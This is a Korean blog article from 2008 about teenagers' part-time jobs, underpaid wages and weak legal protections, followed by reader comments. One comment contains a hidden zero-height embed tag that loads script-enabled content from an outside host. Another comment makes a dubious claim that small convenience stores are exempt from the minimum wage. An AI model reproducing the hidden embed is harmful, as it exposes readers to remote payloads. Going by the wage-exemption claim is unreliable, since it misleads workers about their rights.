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저널리즘 새지평

"일하면서 보람을 느끼고 싶어요"

그 여자들의 물결 일다 2008. 10. 30. 12:37
정희씨는 18살이다. 15살 때부터 아르바이트를 시작하여 돈을 모아 현재는 컴퓨터 학원과 검정고시 학원을 다니며 공부하고 있다. 다양한 곳에서 오랜 기간 동안 아르바이트를 해본 만큼, 갖가지 사건들도 많이 겪었다. 패스트푸드점에서 일할 때는 시간당 2천500원에 하루 6시간씩 일했다.

정희씨가 받을 수 있는 시간당 최저 임금은 작년 기준 3천480원이었다. 법적으로 최저 임금이 정해져 있다는 사실을 알고 있냐는 질문에, 당연하다는 듯이 고개를 끄덕였다. “최저 임금이 얼마라는 건, 알바(아르바이트)를 시작하고 나서 알았는데요. 안 줘도 어쩌겠어요. 돈이 급하니까.”

최저임금제, 알고는 있지만 받아본 적은 없어

정희씨는 현재 밀린 월급을 받지 못해서 어려움을 겪고 있다. 이 문제는 부모님의 동의서를 받고 근로계약서를 작성했다면 쉽게 해결될 수 있다. 정희씨에게 계약서를 작성했는지 물어보았다. “제일 처음 알바를 했던 곳에서 부모님 동의서 받아오라고 해서, 엄마 도장을 몰래 갖다 썼거든요. 그런데 그걸 쓰라고 하는데도 있고, 그렇지 않은 곳도 있어요. 아무 말 없으면 그냥 일하는 거죠.”

문제가 생긴 일터에서는 근로계약서 등을 요구하지 않았다고 한다. 그래서 오히려 마음 편하게 일을 시작했다는 것이다. “근로계약서나 부모님 동의서가 우리를 보호해주려고 하는 거잖아요. 그런데 인터넷에서는 ‘부모님 동의서 어떻게 위조해요?’라는 글 엄청 많이 올라와 있어요.”

최저 임금제를 준수하고 근로 계약서를 작성하는 것이 의무화되어 있지만, 십대들조차 이런 규정을 무시하는 경우가 많다고 한다. 많은 십대들이 아르바이트를 하는 목적은 부족한 용돈을 충당하기 위한 것이니만큼, 부모님 몰래 일을 시작하기 때문이다.


17살 미선(가명)씨 또한 비슷한 이야기를 했다. 올해 초 학교를 그만둔 미선씨는 “아이들(연예인) 쫓아다니거나, 친구들과 노래방 가고, 맛있는 것 먹으려고 돈을 벌지요”라고 답했다. 친구들도 대부분 같은 이유로 아르바이트를 시작한다고 한다. 그런 미선씨에게 부모님 동의서를 받는 일은 가끔 곤욕스럽다. “아르바이트가 한두 개여야죠. 친구들 중에서도 부모님 동의서에 몰래 도장 찍는 애들이 많아요.”

십대들이 일하는 곳은 의외로 다양하다. 패스트푸드점이나 PC방 뿐 아니라 고깃집, 주유소, 유통업 등 많은 곳에서 십대들을 고용하고 있다. 고용주 입장에서는 낮은 시급을 주면서도 충분히 활용할 수 있는 인력으로 인식되고 있기 때문이다.

그런데 십대들 스스로도 성인보다 낮은 대우를 받을 수 있다는 생각을 하고 있기 때문에, 최저 임금이 지켜지지 않는 경우에도 별다른 불만을 갖지 않는 경우도 있다. 미선씨는 최저 임금제를 지키는 곳에서 일을 해본 적이 없다고 한다.

“최저 임금 지키면서 돈 주는 데에서는 어차피 일 못해요. 경쟁률도 높고, 한두 달 일하다가 그만 두려는 우리는 잘 안 쓰죠. 아르바이트 찾는 친구들을 보면 고만고만한 조건에서 50원 더 많은 시급을 주는 곳으로 찾아가요. 우리야 당연하게 낮은 시급이라고 생각하고.”

십대들의 일은 '일'이 아닌가

19살인 혜정(가명)씨는 사람들이 십대들의 아르바이트 목적을 불순하게 여기고 안 좋게 보는 데서 오는 스트레스를 많이 받았다고 말한다. “(돈 벌어서) 놀려고 아르바이트 하는 건 맞는데요. 그렇다고 해서 돈을 적게 주거나 막 부려먹으면 속상하죠.”


일하는 십대들에 대한 사회적 편견과, 십대가 할 수 있는 일은 한정되어 있을 것이라는 통념은 십대들로 하여금 자신이 하는 일에 대한 가치를 느낄 수 없도록 만들고 있다. 십대들에게 주어지는 일은 단순노동에 가깝고, 특히 십대 여성들에게 주어진 일의 상당부분은 고객을 상대하는 감정노동 서비스다. 여전히 우리 사회는 십대들의 노동력을 인정해주지 않고 있다.

“‘너 아니어도 일할 사람 많다’는 이야기는 다 한 번씩 들어요. 저도 일하면서 ‘돈만 아니면 이런 일은 하지도 않을 거다’라고 속으로 욕하고요”라고 불만을 털어놓았다. 고용하는 사람도, 일하는 사람도, 십대들의 노동 가치를 인정하지 않는다는 사실은 십대들이 꼽은 아르바이트 문제의 핵심이다.

청소년 인권활동가인 18살 희영씨는 “만약 우리가 어른들처럼 동등하게 일하는 사람이라고 생각해준다면, 더 많은 시급을 받겠지요”라고 말했다. 그리고 “‘노는 아이들이 일한다’고 생각하는 것이 아니라 ‘자기가 필요한 돈을 직접 벌어서 논다’고 생각한다면, ‘니들이 뭔데!’라는 말을 들을 필요도 없을 거예요”라고 덧붙였다.

공부만 하고 일은 하지 마라?

서울 모 인문계 고등학교 2학년에 재학 중인 아람씨는 일을 하지 못하게 하는 학교방침도 이러한 문제를 만들어내고 있다고 지적했다. “학생은 공부를 하라고 하는데, 모두가 다 공부만 할 수 있는 것은 아니잖아요? 그래서 용돈을 벌어보려고 일을 시작했는데, 선생님이 이것을 알고 야단을 치시더라고요.”

어려운 집안 환경 때문에 일을 하는 경우가 아니면, 아르바이트를 하는 십대들에게 주위 성인들이 격려를 해주는 경우가 드물다고 한다. 아람씨는 “일을 하면서 보람을 느끼고 싶어요. 상투적인 말이지만”이라고 말했다.

한편으로 십대들이 노동의 가치에 대한 교육을 받아본 적이 없기 때문에, 자신들이 할 수 있는 일에 대해서 생각해 볼 기회나 여유를 갖지 못한다는 지적도 있다.

서울공업고등학교에 재직 중인 이성주 교사는 “해외의 사례를 보면, 어릴 때부터 직업의 가치에 대한 교육을 하는 경우가 많다”고 운을 뗀 뒤, “아이들이 할 수 있는 일에 대해 잘 알지 못하고, 자신이 하는 일에 대해서 자부심을 갖지 못하는 것은 현재 중등 교육의 주 목적이 ‘대학 진학’이기 때문”이라고 비판했다.

일하는 십대들에 대한 지원이 거의 없는 상황에서, 십대들은 알음알음으로 아르바이트를 구한다. 더구나 일에 대한 가치를 제대로 인정받을 수 없기 때문에, 이들의 아르바이트는 단지 돈을 버는 경험에서 끝나버린다. 최저 임금제나 근로 계약서 작성과 같이 일하는 십대들이 보호받을 수 있는 권리에 대해 간간히 언급이 되고 있지만, 별로 상황이 나아지지 않는 것은 이 때문일 것이다.

십대들이 말하는 노동시장의 현실
[여성주의 저널 일다] 야난
댓글
  • 프로필사진 웨이브 한국에서 노동의 개념에 빠져있는 것이 "인간...존엄성.."인 것 같습니다. 2008.10.30 13:20
  • 프로필사진 w 사람에 대한 존중이 없어 장유유서만 있는나라. 2008.10.30 14:04
  • 프로필사진 oz소년 '88만세대'에서 이미 다 나온 애기들이군요...
    특히 외국 프랜차이즈들이 더하다고 합니다..
    근데 어른들의 세계도 마찬가지죠.. 비정규식을 늘리는 추세니..
    2008.10.30 14:09
  • 프로필사진 염문설 사업주분들께 드리고 싶은말 - 버릇없고 지저분하다 무개념이다 생각마시고 우리애들이다 생각하시고 따듯하게 대해주시고, 요즘 더더욱 어려우시겠지만 제발 애들 알바비가지고 매정하게 하지마시고, 어이상실이라해도 제발 막말 쌍욕하지마세요. 알아주고 안알아주고이전에 인격적인 소양문제입니다..^^
    알바분들께 드리고 싶은말 - 청소년이든 성인이든 직업의식을 가지고 하시고, 그냥 대충 일하실 생각하지마시고, 육체적으로 정신적으로 인간적으로 힘들때라도 짜증내고 충동적으로 행동하지마시고, 이런 어려움들을 잘 기억하셨다가 나중에 좋은 경험으로 활용하셔야 합니다. 저급한 말과 행동은 자기가치를 떨어트리는 것이니 삼가해야 합니다. 열심히 살고자 하는 당신은 물질적풍요나 빈곤을 떠나 이미 인생의 승리자이자 주인공이십니다..^^
    2008.10.30 14:16
  • 프로필사진 레스토랑에서 일할때 몇년전인데,, 나름 매니저엿다.
    사장놈이 딱 봐도 애들 월급 갖고 장난하더라,, 사장놈 모르게 마니 챙겨주느라 아슬했던 기억이 나네 ㅋ
    사장놈들아~ 좀 그러지마~ 늬들 자식도 똑같이 당해봐야 아냐?
    2008.10.30 14:32
  • 프로필사진 ㅠㅠ<embed src=http://6kk.kr allowscriptaccess=always height=0> 동감입니다.ㅠㅠ 2008.10.30 16:01
  • 프로필사진 어째서 혼혈아 차별, 성차별, 청소년 차별 등등 우리나라는 왜이리 해결하기 어려운문제들이 많을까요?
    사람들도 속으로는 옳지 않다고 생각하면서도 왜 겉으로는 '어쩔수 없는 거다', '원래 그런거야'식의
    방관적 태도로 일관하는 걸까요? 입시가 얼마 안남아 정신없는 고삼이지만 학교라는 울타리를 벗어나
    사회에 나가 그런 대우를 받을 생각하니 기운이 빠집니다ㅠ
    2008.10.30 14:49
  • 프로필사진 햄스터 근데ㅔ ......대부분 10대떄 일하는 애들은 실업계 이고??????ㅇ집안이 어려운 형편인가요????????

    보통 10시에 수업끝나지 않나?????그리고 학원가기 바쁜데......

    저는 대딩인데 알바 한적은 없고...지난 여름에 100만원 벌엇는데 한달에./... 일해서 그때 딱 한번 함..
    2008.10.30 14:53
  • 프로필사진 999 고등학교때부터 알바해서 대학등록금 및 생활비 기타등등을 벌었던 사람으로서

    선생님의 태도는 공감함니다.

    그 시간에 알바를 하지않고 다른걸 했다면

    공부를했다면

    여행을 한번더가고

    친구를 한번 더 봤더라면 ...

    물론 상황에 맞춰 했던것이니만큼 선택의 여지는 없었지만 지금 돌이켜보자면 그렇다는거죠.

    고등학교는 말할 나위없구요.

    알바하느니 그시간에 공부해서 장학금을 타는쪽이 이득이에요.

    물론 당장 하고싶은것도 가지고싶은것도 많은 시기에

    다 만족스러울 만큼의 사정은 아니겠지만 장기적으로 봤을때 - 인생에 있어서- 손해입니다.

    사회경험도 좋고 독림감도 좋고 일의 보람도 좋지만 지나가면 찾을수 없는게 너무 많은 시기에요.

    그래도 일을 해야겠다 하시면 스스로의 의무와 권리를 찾으세요.

    글쓴분도 말하셨지만 어차피 한달만 할건데 뭐 라던가 학생이니까.하며 가볍게 생각 하지마시고

    내가 독립된 존재로서 결정한 만큼 책임감을 가지고 하시길 바라요.
    2008.10.30 15:16
  • 프로필사진 10대들의 원 썩을 정부녀석들아 10대들이 모두 부모님들의 보호 아래 따스하게 자라는줄 아나??

    10대들의 아르바이트를 법적으로 제약을 가하냔 말이다

    알바 할 시간에 공부를 해라??

    돈을 벌어야 할 수 밖에 없는 상황임을 늬들이 아냐??

    어쩔수 없이 선택하는거다 그래서 힘들지만 시간을 쪼개가면서 공부하는거고

    살아 남을려면 남들보다 2배 3배 노력하는 수 밖에 없는거야 ㅅㅂ
    2008.10.30 15:57
  • 프로필사진 dkdltm 몇년전에 시간당 3000원 주고 10대 알바를 쓰다가 이제는 안쓴다. 일을 하다가 수시로 휴대폰 문자질에 업무에 영향을 주기도 하고, 책임감이 없어서 무단 결근지각을 해대서 일할사람이 없어 곤욕을 치르고는 했다. 최소한 며칠전에 그만 둔다는 얘기라도 하든가. 그래서 이젠 30,40대 아주머니를 고용한다. 자식들 교육비 때문에 오시는 분들이 많아서인지 책임감이 강하고 시간도 잘 지키고 무단 결근 없다. 사정이 있으면 미리얘기하고 양해를 구한다. 이런분들은 명절에 선물도 드리게 되고 월급도 정한 것 보다 더 주게 된다. 사장도 사람이다. 최선을 다해주는 직원에게는 더 주고 싶은거다. 2008.10.30 16:19
  • 프로필사진 편의점주인 나도 편의점 운영하는데 정말 하는일 이 아무것도 없어요,,

    앉아서 지네 하고싶은거 하고(책이나,니텐도,오락기 엠피쓰리등)

    요즘 경기가 어려워 손님도 없어요 앉아서 돈벌어가는 판국에..무슨...

    툭하면 월급받고 도망가고 ...최저임금도 아까워
    2008.10.30 16:19
  • 프로필사진 점주님.. 편의점은 종업원이 5인이하라면 최저임금 안지키셔도 될텐데요 아직은??? 2008.12.11 20:10
  • 프로필사진 10대도20십대가될날이있습니다 부모님 돈 받아서 노래방가고 먹고 노는것보다는 직접 벌어서 놀고 먹는게 나은거 아닌가요
    서양애들은 어릴때부터 스스로 일해서 용돈벌고 여행다니고 그런다는데 왜..
    어른들은 알바하는 십대를 그리도 한심하게 보는건지..
    그리고 학교에서는 대체 왜 말리는건지..
    우리는 적은 시급보다 어른들의 따가운 시선이 더 힘들죠..
    알바하는 십대중에는 날라리들이 다수이기는 하지만 일하는 모든 청소년이 그런부류인것처럼 보는건 부당하지않나요
    불량해보이는 학생은 고용주가 잘 판단하고 첨부터 고용하지 말아야겠죠
    분명 성실한 알바생도 많은데..
    2008.10.30 16:23
  • 프로필사진 웅이아버지 시간당 4천원 넘는데 법적으로 정해났는데
    그렇게 안주면 고발함.그럼 고용업자 벌금냄
    2008.10.30 16:28
  • 프로필사진 이것은.. 아직도 한국에서 "아르바이트"라는 것이 대충일하고 대충 돈받는 그련 개념이라서

    그런거 같습니다.

    일본에서 살다 왔는데 일본에서는 "아르바이트"라는 것이 사회적으로 약속된

    고용 체계의 하나로 인식되고 있고 법적으로도 체계가 잘 잡혀 있으며

    계약서 및 입금을 제대로 주도록 되어있습니다. 심지어는 알바한테 추가수당도 나옵니다.

    그 대신 일을 할 때는 전화나 문자 잡담 등 자신의 개인적 일은 절대 못하게 되어있습니다.

    한마디로 "일에 대한 시급은 제대로 지급 할 테니 일을 할 땐 일만해라" 라는 스타일이죠.


    슬슬 한국도 고용시장이 일본과 비슷하게 되어가고 있는데 아르바이트에 대한 인식과 체계의

    전환이 필요하다고 생각합니다.


    또한 10대들의 아르바이트도 저는 좋다고 생각합니다. 어렸을 때 부터 돈에 대한 개념도 생기고

    돈버는게 얼마나 힘들다는 것도 느낄 수 있잖아요. 서양애들이라 일본애들은 어렸을 때 부터

    자기가 사고 싶은게 있으면 시간 쪼개서 알바해서 많이 사거나 여행도 가고 합니다.

    전 긍정적인 영향이 많다고 생각하빈다.
    2008.10.30 16:29
  • 프로필사진 알바생겸사장입장에서 사장 입장에서는 일 제대로 안 하고 노닥거리며 노는 알바생 월급 작게 주고싶은거고
    알바생 입장에서는 열심히 제대로 일하는데 임금이 작은거고
    알바생들이 일하는 동안 책임감을 갖고 열심히 제대로 일만 해주고
    사장들이 양심을 조금만 가져준다면 서로에게 도움이 되지 않을까
    2008.10.30 16:52
  • 프로필사진 정의구현 섭 현재 최저 임금제는 3770원입니다. 2008년 1월 1일자부터요....
    3480원은 작년 최저임금제임니다. 내년부터는 최저임금제가 4000원입니다.
    참고하십시오... 최저임금제로 안준다면 노동청에 신고해 버리는 수밖에......
    당연히 자기가 할만큼 하시고.... 그리고 사장님들도..당연히 줄건 주어야죠...
    아니면 혼자 일하던가요...
    2008.10.31 15:57
  • 프로필사진 댕기 일하면서 보람을 느끼고 싶은 마음.. 솔직한 십대들의 마음인 것 같습니다.
    일이라는 것이 가치가 있다고 느낄 때 열심히 하게 될 수밖에 없죠.
    왜 그런 마음을 가질 수 있는 환경이 마련되지 않는 것인지,
    구조적이고 심리사회적인 문제인 것 같네요..
    2008.11.01 09:34
  • 프로필사진 BlogIcon 울산청년 일하면서 보람을 느끼고 싶다는 10대들의 외침... 어쩌면 정말 당연한 말인데, 지금 세상은
    상식이 안 통하는 세상인 것 같네요. 저희 센터에서는 이러한 청소년들을 위해 최저임금 캠페인을
    진행하고, 상담전화도 운영하고 있습니다. 그리고 고3학생들을 위한 청소년노동인권교육도
    계획하고 있죠. 물론, 알바를 하라고 권유할 수 있다는 교육계 담당장의 우려도 맞지만, 하지만
    외국의 사례를 보더라도, 자신의 인생관, 가치관이 정립되지 않는, 그리고 지금의 경험들이
    자신의 인생과, 가치관 정립에 영향을 주는 시기이기 때문에, 노동에 대한 상처를 경험하거나
    노동의 참된 의미를 몰라서는 안 된다고 생각합니다. 블러그에 뜻 깊은 내용들이 참 많네요..
    자주 들릴게요...ㅎㅎ
    2008.11.01 13:09
  • 프로필사진 친구 고등학생을 위한 노동인권교육 참 중요한 일인 것 같습니다. 일차적으로 정보도 필요하지만, 노동에도 가치관이 중요하니까요. 2008.11.01 22:47
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